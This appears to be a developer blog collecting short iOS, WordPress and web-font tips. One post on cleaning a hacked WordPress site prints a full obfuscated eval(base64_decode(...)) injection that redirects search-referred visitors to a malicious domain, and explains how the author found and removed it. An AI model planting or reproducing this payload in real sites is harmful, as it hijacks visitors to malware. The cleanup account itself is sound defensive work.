How to fix “duplicate symbol _OBJC_METACLASS_$” iPhone
I got this error while working on my latest iPhone app: duplicate symbol _OBJC_METACLASS_$
Turns out that after adding an NSManagedObject subclass for a Core Data entity I moved the files into a group (to make the files look neater). When I generated them again after updating the entity it create 2 sets of the files in the structure.
Basically I deleted both instances of the files and recreated them and that fixed the issue.
Mime Types (especially for Web Fonts)
I am regularly having to go in search of mime types for web fonts, so thought I would put them here so I will know exactly where to go for them.
.eot application/octet-stream
.woff application/x-font-woff
.svg image/svg+xml
.ttf application/octet-stream
Feel free to add more mime types below that you think would be useful to others.
Move UITextFields when keyboard opens in iPhone app
While working on my latest app, I was looking for a solution to slide the screen up when the keyboard opens so that text fields aren’t hidden by it.
I came across this one: TPKeyboardAvoiding its a very simple drop in component. You copy a couple classes into your existing project, put all your elements into a scroll view with the class TPKeyboardAvoidingScrollView and call a simple method and you are done.
-(void)textFieldDidBeginEditing:(UITextField *)textField { [scrollView adjustOffsetToIdealIfNeeded]; } |
Thanks to this article I was able to find this solution.
How to change colour of UINavigationBar
By default the UINavigationBar on an iOS app is blue. Apple have some built-in styles that you can use
[self.navigationController.navigationBar setBarStyle:UIBarStyleBlackOpaque]; |
The options available are:
- UIBarStyleBlack
- UIBarStyleBlackOpaque
- UIBarStyleBlackTranslucent
- UIBarStyleDefault
*UIBarStyleBlackOpaque and UIBarStyleTranslucent have been depreciated. You should use UIBarStyleBlack and set property ‘translucent’ to yes if needed*.
You can also change the colour to any colour you wish using one of the two lines of codes below and adjusting the colour values.
self.navigationController.navigationBar.tintColor = [UIColor colorWithRed:.7 green:.5 blue:.2 alpha:1]; self.navigationController.navigationBar.tintColor = [UIColor blackColor]; |
Exclude Featured image from WordPress gallery
I needed to add the default wordpress gallery to page with a featured image but found that the featured image was also included in this gallery.
The best way I found to exclude this is to add the code below to your site
function exclude_thumbnail_from_gallery($null, $attr) { if (!$thumbnail_ID = get_post_thumbnail_id()) return $null; // no point carrying on if no thumbnail ID // temporarily remove the filter, otherwise endless loop! remove_filter('post_gallery', 'exclude_thumbnail_from_gallery'); // pop in our excluded thumbnail if (!isset($attr['exclude']) || empty($attr['exclude'])) $attr['exclude'] = array($thumbnail_ID); elseif (is_array($attr['exclude'])) $attr['exclude'][] = $thumbnail_ID; // now manually invoke the shortcode handler $gallery = gallery_shortcode($attr); // add the filter back add_filter('post_gallery', 'exclude_thumbnail_from_gallery', 10, 2); // return output to the calling instance of gallery_shortcode() return $gallery; } add_filter('post_gallery', 'exclude_thumbnail_from_gallery', 10, 2); |
I found this solution here: http://stackoverflow.com/a/4347635. Its an old post but still works.
Day 2 of Developing with EpiServer Relate 2 R2
Day 2 of Developing with EpiServer Relate 2 R2
Google Web Fonts
I thought that Google Web Fonts deserved a post here.
I used it in a website yesterday for the first time. I have done tests previously but haven’t actually used it.
Admittedly there aren’t as many fonts on there as TypeKit or Fonts.com but they still have a decent selection.
It is extremely easy to pick your fonts and integrate them into your website. To integrate them you just reference a CSS file on the Google servers and then use a predefined name in the font-family css tag.
Its definitely worth a try if you haven’t already and best of all, its free!
WordPress site redirects to costabrava.bee.pl
I have just finished cleaning a wordpress website that had been hacked. The site would redirect to costabrava.bee.pl which is a malicious website.
Due to this Google began showing a warning page whenever someone navigates to that site, informing them that the site is infected.
I had to go through the site and locate all of the instances of code that looked like this:
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWh lYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWyd IVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0 KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cml zdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIik gb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImx pdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJ lZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN 0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R 1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3R yaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV 4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19 tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cig kcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9 vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3R yaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmw iKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vY29zdGFicmF2YS5iZWUucGwvIik 7DQpleGl0KCk7DQp9DQp9DQp9DQp9")); |
This code had been inserted in lots of the files on the site. It can be very time consuming to find the offending files. I cleaned the site by using Adobe Dreamweaver, downloading the whole site, including all the WordPress files, not just the theme files and ran a Find All for “eval” on the entire local site. From there I could see all the files that had the offending code and I was able to delete them and re-upload the cleaned file.
Obviously, cleaning the site isn’t the only thing that needs to be done, change all your passwords for the site and ensure they are very secure. Also make sure your WordPress is up-to-date and any plugins you are using.
HTML5 Boilerplate
This template is a great starting point when creating a new website. The template contains jQuery, Modernizr, uses HTML5 tags and CSS3 also.
The template comes with and index.html page which should be base of all your pages in the site, it also has a 404.html page which can easily be changed to fit your sites theme.The template also handles using HTML5 tags in older tags with the aid of the Modernizr script.
Its definitely worth trying it out for any sites you need to create.
PullToRefresh iOS
Maybe a bit late to the table but this plugin is so easy to use but makes a huge difference to an app.
It takes a couple minutes to get it working in an app so no reason not to use it if you need a way of refreshing a uitableview